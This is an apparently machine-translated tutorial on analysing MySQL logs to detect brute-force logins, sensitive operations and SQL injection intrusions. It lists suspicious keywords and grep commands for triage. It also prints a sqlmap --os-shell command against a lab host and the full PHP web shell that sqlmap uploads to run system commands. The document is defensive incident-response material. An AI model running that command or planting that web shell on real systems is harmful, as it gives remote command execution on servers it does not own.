Home > Article > Operation and Maintenance > How to analyze database logs
Common database attacks include weak passwords, SQL injection, elevated privileges, stolen backups, etc. By analyzing database logs, attack behaviors can be discovered, attack scenarios can be further restored, and attack sources can be traced.
1. Mysql log analysis
The general query log can record successful connections and each query executed. We can use it as part of security deployment to provide troubleshooting Provide the basis for analysis or post-hacking investigations.
1. View the log configuration information
show variables like '%general%';
2. Enable the log
SET GLOBAL general_log = 'On';
3. Specify the log file path
SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
For example, when I access /test .php?id=1, at this time we get a log like this:
190604 14:46:14 14 Connect root@localhost on 14 Init DB test 14 Query SELECT * FROM admin WHERE id = 1 14 Quit
Let’s parse it by column:
The first column: Time, the time column, the first one is the date, the last one is the date One is hours and minutes. Some of the reasons why they are not displayed are because these SQL statements are executed almost at the same time, so the time is not recorded separately.
The second column: Id is the thread ID in the first column of show processlist. For long connections and some time-consuming SQL statements, you can accurately find out which thread is running. .
The third column: Command, operation type, for example, Connect is to connect to the database, Query is to query the database (additions, deletions, checks and modifications are all displayed as queries), some operations can be specifically filtered.
The fourth column: Argument, detailed information, for example, Connect root@localhost on means to connect to the database, and so on, what query operations were performed after connecting to the database.
2. Login success/failure
Let’s do a simple test. Use the weak password tool I developed before to scan it. The dictionary setting is relatively small. , 2 users, 4 passwords, 8 groups in total.
The log record in MySQL looks like this:
Time Id Command Argument 190601 22:03:20 98 Connect root@192.168.204.1 on 98 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 103 Connect mysql@192.168.204.1 on 103 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 104 Connect mysql@192.168.204.1 on 104 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Connect root@192.168.204.1 on 101 Connect root@192.168.204.1 on 101 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 99 Connect root@192.168.204.1 on 99 Connect Access denied for user 'root'@'192.168.204.1' (using password: YES) 105 Connect mysql@192.168.204.1 on 105 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Query set autocommit=0 102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES) 100 Quit
Do you know which one is successful in this password guessing process?
Using blasting tools, a successful password guessing record looks like this:
190601 22:03:20 100 Connectroot@192.168.204.1 on 100 Queryset autocommit=0 100 Quit
However, if you use other methods, it may be a little different.
Navicat for MySQL login:
190601 22:14:07 106 Connectroot@192.168.204.1 on 106 QuerySET NAMES utf8 106 QuerySHOW VARIABLES LIKE 'lower_case_%' 106 QuerySHOW VARIABLES LIKE 'profiling' 106 QuerySHOW DATABASES
Command line login:
190601 22:17:25 111 Connectroot@localhost on 111 Queryselect @@version_comment limit 1 190601 22:17:56 111 Quit
The difference is that different database connection tools have different processes in the initialization process of connecting to the database. . Through this difference, we can simply determine how the user connects to the database.
In addition, regardless of whether you use a blasting tool, Navicat for MySQL, or the command line, login failures will have the same record.
Login failure records:
102 Connect mysql@192.168.204.1 on 102 Connect Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
Use shell commands for simple analysis:
Which IPs are being blasted?
grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr 27 192.168.204.1
What are the dictionaries of blasting usernames?
grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort - nr 13 mysql 12 root 1 root 1 mysql
In log analysis, special attention needs to be paid to some sensitive operations, such as deleting tables, preparing databases, reading and writing files, etc.
Keywords: drop table, drop function, lock tables, unlock tables, load_file(), into outfile, into dumpfile.
Sensitive database tables: SELECT * from mysql.user, SELECT * from mysql.func
3. Traces of SQL injection intrusion
Using SQL injection vulnerabilities During the process, we will try to use the --os-shell parameter of sqlmap to obtain the shell. If the operation is not careful, some temporary tables and custom functions created by sqlmap may be left behind. Let’s first take a look at the usage and principle of sqlmap os-shell parameters:
1. Construct a SQL injection point and enable Burp to listen to port 8080
sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
The HTTP communication process is as follows:
Creates a temporary file tmpbwyov.php, executes system commands by accessing this Trojan, and returns to the page display.
tmpbwyov.php: <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."";?>`
Create a temporary table sqlmapoutput, call the stored procedure to execute system commands to write data into the temporary table, and then take the data from the temporary table and display it to the front end.
By checking the recently created suspicious files in the website directory, you can determine whether a SQL injection vulnerability attack has occurred.
Checking method:
1. Check whether there are some Trojan files in the website directory:
2. Check whether there is a UDF file Rights and MOF privilege escalation traces
Check whether there are abnormal files in the directory
mysqllibpluginc:/windows/system32/wbem/mof/
Check whether the function is deleted
select * from mysql.func
3. Combine with web log analysis.
Recommended tutorial: Web server security
The above is the detailed content of How to analyze database logs. For more information, please follow other related articles on the PHP Chinese website!